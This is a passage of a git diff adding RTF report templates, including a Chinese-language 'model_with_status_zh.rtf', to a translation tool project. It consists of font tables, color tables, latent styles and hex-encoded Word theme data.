+15f3f196362e2ee1f59488a905b405baaef9a47429c170bc6c648a60900bad766b8d0b5b397f03606a1ed7e974da9d6acecf00b0ef83a5569722cf5a77addaca +781640f6eb3cef76a55ea9b9f802ff95399d1bad56abde4875b14c0dc87eadcde1d72aabb5cd65076f40165f9fc3d75a9bedf6aa8337208b5f9dc3772f34566b +2ede804246e3f11c5a07b4db4db9e7901167dba5f03580af5552f80c05d99067971631e2b15a946b11becd4517001ac8b0a23152d3848cb00f69dcc6d14050ac +05e075820b6fec922fe796b42c247d4113d5f43e4c3094c48cdfaba7dfbf7afa181dde7d7278f7a7c37bf70eeffe68193954db380e8a542fbffdeccf871fa33f +1e7ffdf2fe17e57859c4fff6c327cf7efdbc1c08e53353e7f9978f7e7ff2e8f9834f5f7c77bf04be29f0a008efd38848748d1ca03d1e8161c62baee664204e47 +d10f312d526cc681c431d6524af87754e8a0af4d314ba3e3e8d122ae076f0a681f65c0cb93db8ec2bd504c142d917c258c1ce00ee7acc545a917ae68590537f7 +2771502e5c4c8ab83d8cf7cb64b771ecc4b73349a06f6669e918de0e89a3e62ec3b1c201898942fa1d1f135262dd2d4a1dbfee505f70c9470adda2a88569a94b +fa74e064d38c689b4610976999cd106fc7373b37518bb332abb7c8be8b84aac0ac44f93e618e1b2fe389c25119cb3e8e58d1e157b10acb94ec4d855fc475a482 +48078471d4191229cb68ae0bb0b710f42b183a5669d877d834729142d17119cfab98f322728b8fdb218e92326c8fc66111fb811c438a62b4cb55197c87bb15a2 +9f210e385e18ee9b9438e13ebe1bdca081a3d22c41f49b89d0b18456ed74e088c67fd78e19857e6c73e0ecda3134c0e75f3d2cc9acb7b5116fc29e545609db47 +daef22dcd1a6dbe66248dffe9ebb8527f12e81349fdf78deb5dc772dd7fbcfb7dc45f57cd2463bebadd076f5dc6087623322470b27e41165aca7a68c5c956648 +96b04f0cbbb0a8e9ccf190e427a62484af695f777081c0860609ae3ea22aec85388101bbea6926814c590712255cc2c1ce2c97f2d67818d2953d16d6f581c1f6 +0389d50e1fdae515bd9c9d0b723666b709cce13313b4a2199c54d8ca85942998fd3ac2aa5aa9134bab1ad54cab73a4e526430ce74d83c5dc9b308020185bc0cb +ab7040d7a2e1608219196abfdbbd370b8b89c2598648867848d21869bbe763543541ca72c5dc0440ee94c4481ff28ef15a415a43b37d0369270952515c6d81b8 +2c7a6f12a52c836751d2757ba41c595c2c4e16a383a6d7a82fd73de4e3a4e98de04c0b5fa304a22ef5cc8759003743be1236ed8f2d6653e5b3683632c3dc22a8 +c23585f5fb9cc14e1f4884545b58863635ccab340558ac2559fd97ebe0d6b332c066fa6b68b1b206c9f0af69017e74434b4623e2ab62b00b2bda77f6316da57c +a288e885c303346013b18721fc3a55c19e21957035613a827e807b34ed6df3ca6dce69d1156faf0cceae639684386db7ba44b34ab67053c7b90ee6a9a01ed856 +aabb31eef4a698923f23538a69fc3f3345ef277053b032d411f0e11e5760a4ebb5e971a1420e5d2809a9df15303898de01d90277b1f01a920a6e93cd7f41f6f5 +7f5b739687296b38f0a93d1a2041613f52a1206417da92c9be639855d3bdcbb2642923935105756562d51e907dc2faba07aeeabddd4321a4bae926691b30b8a3 +f9e73ea7153408f49053ac37a787e47bafad817f7af2b1c50c46b97dd80c3499ff73154b76554b6fc8b3bdb768887e311bb36a595580b0c256d048cbfe355538 +e5566b3bd69cc5cbf54c3988e2bcc5b0980f4409dcf720fd07f63f2a7c464c1aeb0db5cff7a0b722f8a1413383b481ac3e67070fa41ba45d1cc0e064176d3269 +56d6b5e9e8a4bd966dd6673ce9e6728f385b6b7692789fd2d9f970e68a736af12c9d9d7ad8f1b55d5be86a88ecd11285a5517690318131bf69157f75e283db10 +e82db8df9f30254d32c16f4a02c3e8d9337500c56f251ad28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b0100002700000074 +68656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384 +e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d26 +2452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe51 +4173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100828abc13fa0000001c0200001300000000000000 +000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b000000000000 +000000000000002b0100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c00000000000000000000000000 +140200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014000600080000002100c71c6d149c060000511b000016000000 +00000000000000000000d10200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b010000 +2700000000000000000000000000a10900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d0100009c0a00000000} +{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d +617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169 +6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363 +656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e} +{\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4; +\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9; +\lsdpriority39 \lsdlocked0 toc 1;\lsdpriority39 \lsdlocked0 toc 2;\lsdpriority39 \lsdlocked0 toc 3;\lsdpriority39 \lsdlocked0 toc 4;\lsdpriority39 \lsdlocked0 toc 5;\lsdpriority39 \lsdlocked0 toc 6;\lsdpriority39 \lsdlocked0 toc 7; +\lsdpriority39 \lsdlocked0 toc 8;\lsdpriority39 \lsdlocked0 toc 9;\lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdpriority1 \lsdlocked0 Default Paragraph Font; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority59 \lsdlocked0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdunhideused0 \lsdlocked0 Revision; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 010500000200000018000000 +4d73786d6c322e534158584d4c5265616465722e352e3000000000000000000000060000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffffec69d9888b8b3d4c859eaf6cd158be0f000000000000000000000000005c +614f72b6cd01feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000105000000000000}} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_zh.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_zh.rtf new file mode 100644 index 0000000..641358d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_zh.rtf @@ -0,0 +1,240 @@ +{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff0\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria Math;} +{\f38\fbidi \fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\flomajor\f31500\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhimajor\f31502\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\flominor\f31504\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhiminor\f31506\fbidi \fswiss\fcharset134\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f43\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} +{\f44\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f46\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f47\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f48\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\f49\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f50\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f51\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f175\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f383\fbidi \froman\fcharset238\fprq2 Cambria Math CE;}{\f384\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;}{\f386\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;} +{\f387\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f390\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;}{\f423\fbidi \fswiss\fcharset238\fprq2 Tahoma CE;}{\f424\fbidi \fswiss\fcharset204\fprq2 Tahoma Cyr;} +{\f426\fbidi \fswiss\fcharset161\fprq2 Tahoma Greek;}{\f427\fbidi \fswiss\fcharset162\fprq2 Tahoma Tur;}{\f428\fbidi \fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f429\fbidi \fswiss\fcharset178\fprq2 Tahoma (Arabic);} +{\f430\fbidi \fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f431\fbidi \fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f432\fbidi \fswiss\fcharset222\fprq2 Tahoma (Thai);}{\f435\fbidi \fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;} +{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31520\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;} +{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31560\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;} +{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} +{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; +\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\*\defchp \fs21\kerning2\dbch\af13 